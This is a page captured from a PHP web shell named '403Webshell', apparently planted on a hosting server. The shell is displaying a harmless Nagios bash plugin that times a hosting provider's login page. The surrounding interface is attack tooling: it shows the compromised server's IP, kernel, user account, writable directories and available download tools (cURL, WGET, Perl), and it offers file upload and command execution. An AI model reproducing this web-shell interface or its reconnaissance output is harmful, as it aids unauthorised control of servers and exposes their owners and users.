403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/check_a2_omni_website.sh
#!/bin/bash

omniurl="https://omni.a2hosting.com/account/login/?next=/"
# Time in seconds to wait before timing out
timeout_threshold=5
# Time in milli seconds after which to set state to warning
warning_threshold=1500

ret=$(timeout "${timeout_threshold}" curl --insecure -so /dev/null -w 'time_total: %{time_total}\ncode: %{http_code}\n' "${omniurl}")

if [ $? -ne 0 ]; then
  echo "check_a2_omni_website.sh - omni login page timed out - I gave up after ${timeout_threshold} seconds."
  exit 2
fi

time=$(echo "${ret}" | grep time_total | awk '{print $2}')
code=$(echo "${ret}" | grep code | awk '{print $2}')
timems=$(echo "${time}"'*1000' | bc | cut -d. -f1)

if [[ "${code}" -ne 200 ]]; then
  echo "check_a2_omni_website.sh - did not receive a 200 for omni login page, we received ${code}"
  exit 2
fi

if [[ "${timems}" -gt "${warning_threshold}" ]]; then
  echo "check_a2_omni_website.sh - omni login page took ${timems} ms to load"
  exit 2
fi

echo "check_a2_omni_website.sh - omni login page took ${timems} ms to load"
exit 0


Youez - 2016 - github.com/yon3zu
LinuXploit